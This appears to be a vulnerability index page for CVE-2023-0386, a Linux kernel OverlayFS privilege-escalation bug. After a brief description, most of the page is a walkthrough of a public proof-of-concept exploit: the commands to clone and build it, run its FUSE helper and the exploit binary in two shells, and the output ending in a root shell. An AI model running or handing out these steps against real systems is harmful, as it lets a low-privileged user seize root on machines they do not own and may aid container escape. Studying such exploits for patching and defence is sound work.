# CVE-2023-0386 - Linux kernel OverlayFS (Privilege Escalation)

- **URL:** https://hackindex.io/vulnerabilities/CVE-2023-0386
- **CVE:** CVE-2023-0386
- **GHSA:** GHSA-p72q-v88c-rprq
- **CVSS score:** 7.8
- **CVSS vector:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-282
- **Complexity:** Low
- **Privileges:** Low
- **Published:** 2026-02-21
- **Updated:** 2026-02-26

CVE-2023-0386 is a **Linux kernel OverlayFS** privilege-escalation bug disclosed in **March 2023** where a local user can abuse how OverlayFS handles file ownership/capabilities during copy-up to get a file in the upper layer with **root privileges**. The “how” is using a crafted overlay mount and file operations so the kernel ends up applying privileges it shouldn’t. What it can cause is **local root**, meaning a user who already has some access on the box can become root, take full control of the system, and potentially break out of certain container setups if OverlayFS is in play.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Privilege Escalation

**[puckiestyle/CVE-2023-0386](https://github.com/puckiestyle/CVE-2023-0386?utm_source=hackindex)** - Privilege Escalation script

For this exploit to work you need 2 shell sessions. In the first session:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386.git
cd CVE-2023-0386
make all

mkdir ovlcap # make sure this folder exists on the target
./fuse ./ovlcap/lower ./gc
# [+] len of gc: 0x3f38
# [+] readdir
# [+] getattr_callback
# /file
# [+] open_callback
# /file
# [+] read buf callback
# offset 0
# size 16384
# path /file
# [+] open_callback
# /file
# [+] open_callback
# /file
# [+] ioctl callback
# path /file
# cmd 0x80086601
```

Keep this running and open your second shell with the following actions:

```bash
chmod +x exp
./exp
# uid:1000 gid:1000
# [+] mount success
# total 8
# drwxrwxr-x 1 root   root     4096 Jan  9 20:37 .
# drwxrwxr-x 6 root   root     4096 Jan  9 20:37 ..
# -rwsrwxrwx 1 nobody nogroup 16184 Jan  1  1970 file
# [+] exploit success!
# To run a command as administrator (user "root"), use "sudo <command>".
# See "man sudo_root" for details.
# root@hostname:/tmp# whoami
# root
```